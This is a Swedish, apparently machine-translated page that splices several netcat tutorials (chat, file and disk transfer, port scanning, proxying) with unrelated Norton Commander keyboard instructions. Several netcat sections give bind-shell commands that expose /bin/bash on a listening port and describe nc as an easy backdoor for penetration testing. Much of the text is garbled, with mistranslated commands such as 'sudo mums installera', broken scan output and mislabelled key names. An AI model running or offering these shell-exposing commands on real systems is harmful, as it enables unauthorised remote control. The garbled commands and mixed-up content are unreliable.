Nc exempel. Användbara knep när du arbetar med netcat. Starta ett "fjärrkommandoskal" som låter dig utföra godtyckliga kommandon på fjärrnoden medan du arbetar på den lokala noden

Nästan vilken som helst Linux distribution det finns ett litet oansenligt verktyg netcat, eller bara nc. Detta program kan skapa TCP-sockets antingen i serverläge för att lyssna efter en anslutning, eller i klientläge för att ansluta till en server. Och i sanning spelar det ingen roll för netcat om du ska använda den som server eller klient - dess jobb är bara att samla in data från stdin och överföra den till den angivna nätverksadressen.

Det enklaste exemplet på att använda netcat är att skapa en klient-server-chatt. Även om detta är ett mycket primitivt sätt att skapa en chatt, visar det tydligt hur det här verktyget fungerar. Följande exempel kommer att anta att maskinen som skapar den lediga socket (servern) har en IP-adress på 192.168.0.1. Så låt oss skapa en chattserver som lyssnar efter anslutningar på TCP-port 3333:

$ nc -l 3333

Nu kan vi ansluta till denna server:

$nc 192.168.0.1 3333

I det här fallet fungerar tangentbordet som stdin. Allt som skrivs på tangentbordet på serversidan kommer att överföras till klientterminalen och vice versa.

Överföra filer

På exakt samma sätt kan du använda netcat för att överföra filer mellan två datorer. Med hjälp av följande kommando kan du skapa en server som förbereder filen för överföring:

Du kan hämta filen backup.iso på en annan dator enligt följande:

$nc 192.168.0.1 3333 > backup.iso

Som du kan se visar netcat ingen information om dataöverföringsprocessen. Detta kan vara ganska obekvämt när man arbetar med stora filer. För att lösa detta problem kan du använda verktyget (progress viewer). I det här exemplet kommer information om hastigheten och volymen av överförda data att visas i realtid på serversidan:

$ cat backup.iso | pv -b | nc -l 3333

Du kan visa statistik på klientsidan på liknande sätt:

$nc 192.168.0.1 3333 | pv -b > backup.iso

Andra exempel

Verktyget netcat kan också vara användbart för att skapa en bild av partitionen hårddisk med möjligheten att skicka den till en fjärrserver i farten:

$ dd if=/dev/hdb5 | gzip -9 | nc -l 3333

Och på en fjärrdator kan du acceptera den skapade bilden så här:

$nc 192.168.0.1 3333 | pv -b > myhdb5partition.img.gz

Om du behöver skicka en grupp filer - till exempel en uppsättning konfigurationsfiler - kan du kombinera netcat och tar-arkiveraren:

$ tar -czf - /etc/ | nc -l 3333

Bindestrecket som filnamn i tar-parametrarna är nödvändigt för att mata ut utdata från arkivet till stdin, som sedan omdirigeras till netcat. Du kan acceptera den skapade säkerhetskopian på en fjärrdator på samma sätt som beskrivits tidigare:

$nc 192.168.0.1 3333 | pv -b > mybackup.tar.gz

Säkerhet

Uppenbarligen, när netcat används på detta sätt, sänds information över nätverket i dess ursprungliga okrypterade form. För överföring av icke-kritisk data är detta helt acceptabelt, men vid överföring av värdefull information är det klokt att använda netcat i kombination med en SSH-tunnel.

Att använda en SSH-tunnel har två fördelar:

  1. Information sänds in i en krypterad tunnel, så den är väl skyddad;
  2. Det finns inget behov av att öppna några ytterligare portar på servern i brandväggskonfigurationen, eftersom anslutningen kommer att upprättas via SSH

På serversidan är filen i netcat inställd på exakt samma sätt som beskrivits tidigare:

$ cat backup.iso | nc -l 3333

Men på klientsidan ansluter vi till netcat-uttaget och väntar på anslutningar via en SSH-tunnel:

$ ssh -f -L 23333:127.0.0.1:3333 [e-postskyddad] sömn 10; \nc 127.0.0.1 23333 | pv -b > backup.iso

Det är klart att det finns andra sätt att placera en anslutning i en SSH-tunnel, men att skapa och använda en tunnel på detta sätt har en användbar funktion att tunneln stängs automatiskt när dataöverföringen genom netcat slutar.

...och en portabel portskanner

Otroligt nog kan netcat också användas för att skanna öppna portar. Parametern -z hjälper till med detta:

$ nc -z 192.168.0.1 80-90 Anslutning till 192.168.0.1 80-porten lyckades!

I det här exemplet skannade netcat av portintervallet 80-90 och rapporterade att port 80 var öppen på fjärrmaskinen.

Netcats man-sidor innehåller också ett antal andra användbara tips och intressanta exempel på att använda detta program.


Detta är det andra inlägget i en serie artiklar om Unix-verktyg som du bör känna till. I den här artikeln presenterar jag för dig netcat-verktyget eller helt enkelt nc.

Verktyget Netcat kallas ofta för en sorts "schweizisk armékniv", i ordets goda bemärkelse. Funktionaliteten hos netcat är användbar i samma utsträckning som mångsidigheten och smidigheten hos en beprövad schweizisk armékniv är användbar. Några av dess funktioner inkluderar portskanning, filöverföring, portlyssning och den kan användas som en bakdörr.

Netcat rankades 4:a i 2006 års undersökning "100 Network Security Utilities", så det är definitivt ett verktyg du behöver känna till.

Hur använder man nc?

Om du kommer ihåg sa jag att netcat är en schweizisk armékniv. Vad skulle den här kniven vara om den inte kunde användas som en vanlig kniv? Det är därför netcat kan användas istället för vanligt telnet:

$nc www.google.com 80

Det är faktiskt bekvämare än vanligt telnet eftersom du kan avsluta anslutningen när som helst genom att trycka på Ctrl+C och den behandlar binär data som vanligt (inga escape-sekvenser, ingenting).

Du kan lägga till alternativet -v för att visa resultatet av åtgärder mer detaljerat, och alternativet (-vv) för att få statistik om hur många byte som överfördes under den aktuella anslutningssessionen.

Netcat kan användas som server. Om du kör det enligt nedan kommer det att lyssna på port 12345 (på alla gränssnitt):

$ nc -l -p 12345

Om du nu ansluter till port 12345 på denna värd kommer allt du skriver att skickas till fjärrsidan, vilket talar om för oss att netcat kan användas som en chattserver. Kör på en av datorerna:

# På dator A med IP 10.10.10.10 $ nc -l -p 12345

Och anslut till den från en annan:

# På dator B $ nc 10.10.10.10 12345

Nu kan båda sidor prata!

Detta sätt att prata, där båda parter kan prata med varandra, gör det möjligt att använda nc för I/O-operationer över nätverket! Till exempel kan du skicka en hel katalog från en dator till en annan genom att köra en tar-pipeline via nc på den första datorn och omdirigera utdata till en annan tar-process på den andra.

Låt oss säga att du vill skicka filer från /data-katalogen på dator A med IP 192.168.1.10 till dator B (med valfri IP). Det är enkelt:

# På dator A med IP 192.168.1.10 $ tar -cf - /data | nc -l -p 6666 # På dator B $ nc 192.168.1.10 6666 | tar -xf -

Glöm inte att kombinera pipelinen med Pipe Viewer, som beskrevs i föregående artikel, för att se statistik över hur snabbt överföringen sker!

En enda fil kan skickas enklare:

# På dator A med IP 192.168.1.10 $ cat-fil | nc -l -p 6666 # På dator B $ nc 192.168.1.10 6666 > fil

Du kan till och med kopiera och återställa en hel disk med nc:

# På dator A med IP 192.168.1.10 $ cat /dev/hdb | nc -l -p 6666 # På dator B $ nc 192.168.1.10 6666 > /dev/hdb

Obs: Alternativet "-l" kan inte användas tillsammans med "-p" på Mac-datorer! Lösningen är att helt enkelt ersätta “-l -p 6666? till “-l 6666?. Som här:

# nu lyssnar nc på port 6666 efter Mac-datorer$nc -l 6666

En vanlig användning av netcat är portskanning. Netcat är inte det bästa verktyget för den här typen av arbete, men det får jobbet gjort (det bästa är förstås nmap):

$ nc -v -n -z -w 1 192.168.1.2 1-1000 (OKÄNDA) 445 (microsoft-ds) öppen (OKÄNDA) 139 (netbios-ssn) öppen (OKÄNDA) 111 (sunrpc) öppen (OKKÄNDA) (OKKÄNDA) www) öppen (OKÄNT) 25 (smtp): Anslutningen tidsinställd ut (OKÄNT) 22 (ssh) öppen

Alternativet -n förhindrar DNS-uppslagningar, -z väntar inte på ett svar från servern och -w 1? ställer in anslutningstiden till 1 sekund.

En annan icke-trivial användning av netcat är som en proxy. Både port och värd kan vidarebefordras. Titta på det här exemplet:

$ nc -l -p 12345 | nc www.google.com 80

Detta kommando kör nc på port 1234 och omdirigerar alla anslutningar till google.com:80. Om du nu ansluter till denna dator på port 12345 och gör en förfrågan kommer du att upptäcka att du inte får någon data som svar. Detta är korrekt eftersom vi inte har etablerat en dubbelriktad kanal. Om du lägger till en andra kanal kommer du att få din data på en annan port:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

Efter att ha skickat en förfrågan till port 12345, ta emot dina svarsdata på port 12346.

Den förmodligen mest kraftfulla funktionen hos netcat är att köra vilken process som helst som en server:

$ nc -l -p 12345 -e /bin/bash

Alternativet -e gör att in- och utsignaler omdirigeras genom nätverksuttaget. Nu, om du ansluter till värden på port 12345, kan du använda bash:

$ nc localhost 12345 ls -las totalt 4288 4 drwxr-xr-x 15 pkrumins användare 4096 2009-02-17 07:47 . 4 drwxr-xr-x 4 pkrumins användare 4096 2009-01-18 21:22 .. 8 -rw------- 1 pkrumins användare 8192 2009-02-16 19:30 .bash_history- 4 -rw-history- -r-- 1 pkrumins användare 220 2009-01-18 21:04 .bash_logout ...

Konsekvenserna är att nc är ett populärt hackerverktyg och kan användas för att skapa en bakdörr väldigt enkelt. På Linux-server du kan köra /bin/bash och på Windows cmd.exe och ha full kontroll i dina händer.

Det var allt jag ville säga. Känner du till några andra användbara netcat-trick som inte tas upp här?

Hur installerar man nc?

Om du har Debian eller ett Debian-baserat system som Ubuntu, gör följande:

$ sudo aptitude installera netcat

Om du har Fedora eller ett Fedora-baserat system som CentOS, gör:

$sudo mums installera netcat

Om du har Slackware, FreeBSD, NetBSD, Solaris eller Mac, ladda ner nc-källorna och gör:

$ tar -zxf nc-version.tar.gz $ cd nc-version $ ./configure && sudo gör installera

Ett annat sätt att göra detta på en Mac om du har MacPorts:

$ sudo port installera netcat

På Slackware kan du installera det som ett paket från paketkatalogen:

$ sudo installpkg nc-1.10-i386-1.tgz

Om du har Windows, ladda ner Windoze-porten från securityfocus.

En manual för verktyget finns i man nc.

Ha kul med nc, tills nästa gång!

Instruktioner för att arbeta iNortonBefälhavare

För att starta NC-systemet i kommandorad DOS skriv NC-kommandot eller vänsterklicka på NC-ikonen på datorns skrivbord. För att avsluta arbetet med NC, tryck på knappen [ F10] . I dialogrutan som visas, välj svaret "Ja" om du loggar ut ur systemet, "Nej" annars. Att välja ett svarsalternativ görs med hjälp av markörtangenterna på det funktionella tangentbordet och tryck sedan på tangenten [ Stiga på] . Längst ner på skärmen finns DOS-kommandoraden, där du kan ange lämpliga kommandon medan du arbetar under NC-kontroll. Den lägsta raden på skärmen innehåller en ledtråd, som indikerar syftet med de viktigaste "snabbtangenterna" som motsvarar NC- (och DOS)-kommandon.

Efter start av NC visas två paneler på skärmen - vänster och höger. Överst på varje panel visar ett litet rektangulärt fönster hela sökvägen till den aktuella filen eller katalogen. Panelen där den markerade rektangeln, markören, finns kallas aktiv. Använd knappen för att flytta från panel till panel . Om den översta raden på panelen och bilden är markerade “…” det betyder att du är i katalogen med namnet som visas överst på panelen. Följande kommandon används för att arbeta med paneler:

[ Ctrl] + [ F1] Dölj/visa vänster panel

[ Ctrl] + [ F2] Dölj/visa höger panel

[ Ctrl] + [ U] Byt paneler

[ Ctrl] + [ O] Dölj/visa båda panelerna

[ Ctrl] + [ P]Dölj/visa inaktiv panel

För att ändra det logiska disknamnet, klicka på den vänstra panelen [ Alt] + [ F1] , i dialogrutan som visas, använd piltangenterna för att välja önskat disknamn bland de föreslagna namnen, tryck på tangenten [ Stiga på] . För den högra panelen är åtgärderna liknande, men i början bör du klicka [ Alt] + [ F2] .

För att gå till katalogen, välj den på den aktiva panelen och tryck på knappen [ Stiga på] . För att gå till en katalog på högre nivå på den aktiva panelen, välj raden “…” och tryck på knappen [ Stiga på] .

Följande kommandon används för att arbeta med kataloger:

[ F7] – skapa en katalog. I dialogrutan som visas, ange ett nytt katalognamn;

[ F8] – radera katalog. I dialogrutan som visas bekräftar du borttagningen eller avbryter borttagningen genom att trycka på Esc-tangenten.

Följande kommandon används för att arbeta med filer:

[ Flytta] + [ F4] – skapa en fil. I dialogrutan som visas anger du ett nytt filnamn (glöm inte att ange tillägget). När filnamnet har angetts, skriv in innehållet i filen på skärmens arbetsyta. Slutför filskapandet med kommando [ Ctrl] + [ Z]. För att spara filen, tryck på knappen [ F2] . Avsluta redigeringsläget med knappen [ F10 ] .

[ F4] – redigera ett tidigare skapat dokument. I det här fallet måste du ange namnet på filen som ska redigeras i dialogrutan. När du arbetar i redigeringsläge visas en ledtråd i skärmutrymmet längst ner med tilldelning av snabbtangenter i redigeringsläge.

[ Flytta] + [ F2] – spara filen med ett nytt namn.

[ F3] – visa filens innehåll. För att göra detta, välj först filen i panelen.

[ F5] – filkopiering. Alla operationer med filer och kataloger utförs med båda panelerna. För att kopiera en fil, på en inaktiv panel, ställ in katalogen där den kopierade filen ska placeras, gå till den här katalogen. På den aktiva panelen väljer du filen som ska kopieras och trycker på knappen [ F5] . För att bekräfta kopieringen, tryck på knappen [ Stiga på] , att avbryta - .

[ F6] – överför/byt namn på fil. Operationen liknar kopiering. För att flytta en fil, på en inaktiv panel, ställ in katalogen där filen ska placeras och gå till denna katalog. I den aktiva panelen väljer du filen som ska flyttas och trycker på knappen [ F6] . För att byta namn på en fil, ange ett nytt filnamn i dialogrutan genom att lägga till det via ikonen ” \ ” att ange vägen. Det är nödvändigt att komma ihåg att den flyttade filen raderas från sin ursprungliga plats.

[ F9] – gå till menynNC.

Gruppoperationer på filer

Kopiera, flytta och ta bort operationer kan utföras på flera filer samtidigt. För att göra detta måste du markera dem genom att markera dem på panelen och trycka på knappen [ Föra in] . I det här fallet markeras de valda filerna med rektanglar i kontrasterande färg. Upprepa dessa steg för att ta bort markeringen. Efter filvalsproceduren utförs den nödvändiga operationen (kopiera, flytta, radera) på gruppen av filer som om det vore en. Det andra sättet att välja en fil är genom att trycka på den stora grå knappen ”+” på funktionstangentbordet till vänster. Efter att ha tryckt på den här tangenten bör du ange filnamnet i dialogrutan eller ange filnamnen när du använder en mask i namnet: “ * ”, “ *.* ”, “ ? ”. För att avmarkera filer, använd "-"-tangenten på det funktionella tangentbordet till vänster.

Systemmeny NC

Menysystemet är utformat för att skräddarsy skalet och göra hanteringen enklare. Menyraden tas fram genom att trycka på en knapp [ F9] . Menysystemet består av en menyrad och rullgardinsmenyer. Menyn innehåller följande poster: Höger Filer Kommandon Inställningar Vänster . Lag Höger Och Vänster bestäm valet av filvisningsläge på panelen. Alla kommandoalternativ för vänster och höger panel är identiska. Team Filer utformad för att utföra operationer på filer och kataloger. Menyalternativ Lag är avsedd för att utföra ytterligare kommandon. Team inställningar är avsedd för att sätta upp NC-miljön. Att välja lämpligt kommando görs med hjälp av markörtangenterna och sedan tryckning [ Stiga på].

Menyalternativ Vänster höger).

Rullgardinsmenyn för detta kommando innehåller alternativ för att välja format för att visa filen på skärmen. I läge Kort Panelen visar endast fil- och katalognamn. I läge Full Namnet på filen eller katalogen visas, för en fil anges dess storlek, för en katalog - strängen "underkatalog", datum och tid för skapandet av filen och katalogen. I läge Träd Du kan visa katalogträdet för den aktuella disken och använda markören för att snabbt hitta den önskade filen genom att flytta genom trädet. Nästa grupp av alternativ för detta menyalternativ bestämmer i vilken ordning filerna visas på panelen. I det här fallet kan filer ordnas i valfri ordning - läge Ingen sortering , men kan ordnas i en specifik ordning: namn – efter namn i alfabetisk ordning, Förlängning – i förlängning i alfabetisk ordning, Tid – efter skapandedatum, med filer med de senaste skapandedatumen i början av listan, Storlek – efter filstorlek i fallande ordning. Att välja raden för motsvarande läge görs med markören och ställer in kryssrutan med mellanslagstangenten.

Menyalternativ Filer .

Rullgardinsmenyn för detta kommando innehåller en beskrivning av syftet med snabbtangenterna [ F1] - [ F8] , dvs. snabbtangentsåtgärder dupliceras av menykommandon. Nästa alternativ är Ange attribut. Attribut ställs endast in för filer. Ordningen för inställning av attribut är som följer: välj en fil med markören på panelen. Efter detta, tryck på knappen [ F9] gå till NC-menyn och välj posten Filer Installation attribut . Efter att ha tryckt på knappen [ Stiga på] En lista över möjliga attribut visas i dialogrutan: Skrivskyddad, Arkiv, Dold, System. Att välja en filattributrad görs med markören och markerar rutan med mellanslagstangenten. I det här fallet filen med attribut Endast för läsning kan inte ändras och är endast tillgänglig för visning. Attributfil Dold på panelen är markerad med en liten markerad rektangel (om alternativet inte är inställt i skärminställningarna Visa gömda filer Filnamnet visas inte alls på panelen). Nästa grupp av kommandon låter dig välja filer (liknande den stora grå tangenten ”+” ), avmarkera (analogt med tangenten ” - ” på funktionstangentbordet), invertera valet (analogt med ” * ” på funktionstangentbordet).

Menyalternativ Lag .

Rullgardinsmenyn för det här kommandot låter dig skapa en användarmeny, redigera den här menyn, se historiken för kommandon som skrivits in på DOS-kommandoraden och innehåller andra ytterligare funktioner i NC-skalet.

Menyalternativ Inställningar.

Rullgardinsmenyn för detta kommando låter dig konfigurera gränssnittsmiljön på ett användarvänligt sätt. Innehåller tillval inställningar Redaktör och andra. När du väljer menyraden Inställningar öppnas en uppsättning dialogrutor som låter dig välja en färguppsättning för skärmen, ställa in antalet rader på skärmen, etc. Dialogfönster Panelinställningar tillåter Visa gömda filer, om motsvarande kryssruta är markerad (eller inte visas). Att markera motsvarande alternativruta görs också med hjälp av markören och mellanslagstangenten.

Laborationsuppgift

I den här artikeln kommer jag att titta på det populära nätverksverktyget netcat och användbara knep när du arbetar med det.


Netcat är ett Unix-verktyg som låter dig upprätta TCP- och UDP-anslutningar, ta emot data därifrån och överföra det. Trots dess användbarhet och enkelhet vet många inte hur man använder det och kringgår det oförtjänt.


Med hjälp av det här verktyget kan du utföra några steg när du genomför penetrationstestning. Detta kan vara användbart när den attackerade maskinen inte har installerade paket (eller drar till sig uppmärksamhet), det finns begränsningar (till exempel IoT/Inbäddade enheter) etc.


Vad du kan göra med netcat:

  • Skanna portar;
  • Forward portar;
  • Samla in tjänstebanderoller;
  • Lyssna på port (binda för omvänd anslutning);
  • Ladda ner och ladda upp filer;
  • Mata ut rått HTTP-innehåll;
  • Skapa en mini-chatt.

I allmänhet kan du med hjälp av netcat ersätta några av Unix-verktygen, så det här verktyget kan betraktas som en slags kombination för att utföra vissa uppgifter.

Praktiska exempel

I många fall, om det är nödvändigt att kontrollera en viss värd, använder de telnet eller sina egna tjänstetjänster för att identifiera värden eller bannern. Hur netcat kan hjälpa oss:

Söker efter öppen TCP-port 12345

$ nc -vn 192.168.1.100 12345
nc: anslut till 192.168.1.100 12345 (tcp) misslyckades: Anslutning nekades

$ nc -v 192.168.1.100 22
Anslutning till 192.168.1.100 22-porten lyckades!
SSH-2.0-OpenSSH

Skanna TCP-portar med netcat:

$ nc -vnz 192.168.1.100 20-24

Med en sådan skanning kommer det inte att finnas någon anslutning till porten, utan bara en utgång från en framgångsrik anslutning:


nc: connectx till 192.168.1.100 port 20 (tcp) misslyckades: Anslutningen avvisades
nc: connectx till 192.168.1.100 port 21 (tcp) misslyckades: Anslutningen nekades
hittade 0 associationer
hittade 1 kopplingar:
1: flaggor=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info inte tillgänglig
TCP aux info tillgänglig
Anslutning till 192.168.1.100 port 22 lyckades!
nc: connectx till 192.168.1.100 port 23 (tcp) misslyckades: Anslutningen avvisades
nc: connectx till 192.168.1.100 port 24 (tcp) misslyckades: Anslutningen avvisades

Skanna UDP-portar.

För att skanna UDP-portar med nmap behöver du root-privilegier. Om de inte finns där, i det här fallet kan netcat-verktyget också hjälpa oss:


$ nc -vnzu 192.168.1.100 5550-5560
Anslutning till 192.168.1.100 port 5555 lyckades!

Skickar ett UDP-paket

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Detta kan vara användbart när du interagerar med nätverksenheter.

Ta emot data på en UDP-port och mata ut mottagen data

$ nc -u localhost 7777

Efter det första meddelandet stoppas utmatningen. Om du behöver acceptera flera meddelanden måste du använda medan true:


$ medan sant; gör nc -u localhost 7777; Gjort

Filöverföring. Med netcat kan du både ta emot filer och överföra dem till en fjärrvärd:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact som en enkel webbserver.

Netcat kan fungera som en enkel webbserver för att visa HTML-sidor.


$ medan sant; gör nc -lp 8888< index.html; done

Använda en webbläsare på: http://netcat host:8888/index.html. För att använda standardwebbserverport nummer 80 måste du köra nc med root-privilegier:


$ medan sant; gör sudo nc -lp 80< test.html; done

Chatta mellan noder

På den första noden (192.168.1.100):


$nc -lp 9000

På den andra noden:


$nc 192.168.1.100 9000

Efter att ha utfört kommandona kommer alla tecken som skrivs in i terminalfönstret på valfri nod att visas i terminalfönstret för den andra noden.

Omvänt skal

Med netcat kan du organisera ett bekvämt omvänt skal:


nc -e /bin/bash -lp 4444

Nu kan du ansluta från fjärrvärden:


$nc 192.168.1.100 4444

Du ska inte ge upp om du inte har vissa verktyg, ofta ganska besvärliga; ibland kan problemet lösas med improviserade medel.

Grundläggande NC-kommandon anropas av funktionstangenterna F1 - F10. En lista över dessa kommandon finns på den nedre informationsraden på skärmen.

A) Tips, hjälp, Hjälp, F1 (Fig. 2, 3).

När du trycker på den här knappen visas följande på skärmen: en kort beskrivning av Norton Commander-systemet och ett verktygstips som beskriver syftet med tangenterna och kommandona.

b) användarmeny, Meny, F2 (Fig. 4)

Med hjälp av detta kommando tas en extra meny skapad av användaren fram på skärmen.

V) visa innehållet i filen, Visa, F3 (Fig. 5).

Markören måste placeras på namnet på filen vars innehåll du vill se och tryck på F3-tangenten. Innehållet i filen kommer att visas på skärmen, som kan ses och läsas men inte kan redigeras.

G) Redigera text, Redigera, F4 (Fig. 6)

För att ladda en fil till den inbyggda Norton Commander-redigeraren måste du peka på filen med markören och trycka på F4. För redigeringsändamål kan du flytta markören med markörknapparna. Den inbyggda redigeraren Norton Commander kan arbeta med en fil vars storlek inte överstiger 30 KB. För stora filer används en extern redigerare om den är konfigurerad i Norton Commander. För att ladda en fil till en extern editor, använd kommandot som anropas genom att trycka ALT + F4.

d) Kopiera filer och kataloger, Kopiera, F5 (Fig. 7, 8, 9)

För att kopiera en fil måste du bestämma katalogen där den finns (källa) och var den kommer att kopieras (destination). I den passiva panelen måste du öppna målkatalogen och i den aktiva panelen - källkatalogen. I den senare måste du peka med markören på filen som ska kopieras och trycka på F5. I dialogrutan som visas, efter att ha tryckt på F5, måste du bekräfta kopieringen. Om det behövs kan du här korrigera namnet på målkatalogen eller ge kopieringsfilen ett annat namn.

När du kopierar en grupp filer måste du först markera dem genom att flytta markören till namnet önskad fil och tryck på knappen Insert. Namnet på den markerade filen kommer att ändra färg och bakgrund. För att avmarkera filen där markören finns, tryck bara på knappen Insert igen. Kopiering görs genom att trycka på F5-tangenten. I dialogrutan som visas måste du bekräfta kopieringen av både en enskild fil och en grupp av (alla) filer.

Om du behöver kopiera alla filer i en katalog, för att välja dem trycker du bara på *-tangenten på det lilla numeriska tangentbordet. För att avbryta valet, tryck på den här knappen igen.

Om du behöver kopiera alla filerna i en viss grupp, för att välja dem trycker du bara på det enkla tecknet + på det lilla numeriska tangentbordet och i dialogrutan som visas väljer du gruppattributet och trycker på Enter. Omvänt, för att avbryta ett val, tryck på det enkla minustecknet (-) och tryck på Enter.


För att välja omvänt, tryck på *-tangenten på den lilla numeriska knappsatsen.

Gruppegenskaperna som anges vid kopiering är ganska många. Några exempel visas i Tabell 1. Tabell 1


Topp